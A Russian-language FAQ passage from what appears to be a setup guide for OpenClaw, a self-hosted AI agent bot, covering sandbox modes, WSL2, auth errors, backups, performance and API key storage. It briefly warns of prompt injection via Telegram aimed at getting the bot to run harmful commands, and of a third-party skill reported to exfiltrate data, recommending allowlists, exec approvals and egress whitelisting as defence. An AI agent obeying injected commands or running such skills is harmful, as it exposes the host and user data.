"off"— без sandbox (всё на хосте)"non-main"— субагенты в sandbox, main на хосте (рекомендуется)"all"— всё в sandbox (сломает доступ к инструментам хоста)
Безопасно ли давать боту доступ к компьютеру?
OpenClaw работает локально на вашем сервере. Данные не уходят никуда, кроме API провайдера модели. Но:
- Сторонние скиллы могут быть опасны — Cisco нашла data exfiltration в одном из них
- Prompt injection через Telegram — кто-то может попытаться «уговорить» бота выполнить вредоносную команду
- Telegram allowlist + exec-approvals = два обязательных уровня защиты
OpenClaw на Windows — почему WSL2?
OpenClaw нативно работает только на macOS и Linux. Windows не поддерживается напрямую — нужен WSL2 (Windows Subsystem for Linux), который создаёт полноценную Linux-среду внутри Windows.
Установка: wsl --install в PowerShell от администратора → перезагрузка → работаете внутри Ubuntu.
«API rate limit reached» — что делать?
Часто это не rate limit, а 401 ошибка авторизации — вводящее в заблуждение сообщение. OAuth-токен протух и не смог обновиться (race condition).
Решение: re-login через openclaw models auth login --provider <провайдер>. Для предотвращения: настройте OAuth Token Keeper (см. секцию «Автономность»).
Как проверить, что конфиг валиден?
openclaw config validate
Важно: невалидный конфиг = crash-loop gateway. Всегда валидируйте перед hot-reload.
Gateway зависает или падает — что делать?
- Проверьте логи:
tail -50 /tmp/openclaw/openclaw-$(date +%Y-%m-%d).log - Проверьте процесс:
ps aux | grep openclaw-gateway - Перезапуск:
systemctl restart openclaw-gateway - Если crash-loop — валидируйте конфиг:
openclaw config validate
Частая причина: невалидный JSON в openclaw.json после ручной правки. Всегда делайте бекап перед изменениями.
Как сделать backup памяти и конфигов?
# Backup всего workspace + конфигов
tar czf openclaw-backup-$(date +%Y%m%d).tar.gz \
~/.openclaw/openclaw.json \
~/.openclaw/exec-approvals.json \
~/.openclaw/workspace/ \
~/.openclaw/memory/
Можно автоматизировать через cron (раз в день) или через workspace-autocommit скрипт с git.
Безопасно ли устанавливать сторонние скиллы?
Не всегда. Cisco обнаружила data exfiltration в стороннем скилле — он отправлял данные на внешний сервер без ведома пользователя.
Правила:
- Устанавливайте скиллы только из официального ClawhHub или проверенных источников
- Читайте код скилла перед установкой (они open-source)
- Egress whitelist защитит даже от вредоносного скилла — данные не уйдут на неизвестный домен
autoAllowSkills: falseв exec-approvals — скиллы будут запрашивать разрешение
Бот медленно отвечает — как ускорить?
Частые причины:
- Переполнение контекста — длинная сессия съедает всё окно модели. Решение:
/new(новая сессия) - Искусственные паузы — отключите:
"humanDelay": {"mode": "off"} - Prompt cache протух — проверьте heartbeat (должен быть < 60 мин). См. секцию «Токены»
- Модель перегружена — переключитесь на fallback:
/model flash
Где хранятся API-ключи и как их защитить?
API-ключи хранятся в отдельном файле auth-profiles.json, а не в openclaw.json. Это разделение позволяет безопасно делиться конфигом без утечки ключей.
- Файл:
~/.openclaw/agents/main/agent/auth-profiles.json - Права:
chmod 600 auth-profiles.json(только владелец читает) - Никогда не коммитьте этот файл в git
- Переменные окружения:
~/.openclaw/.env(читается автоматически)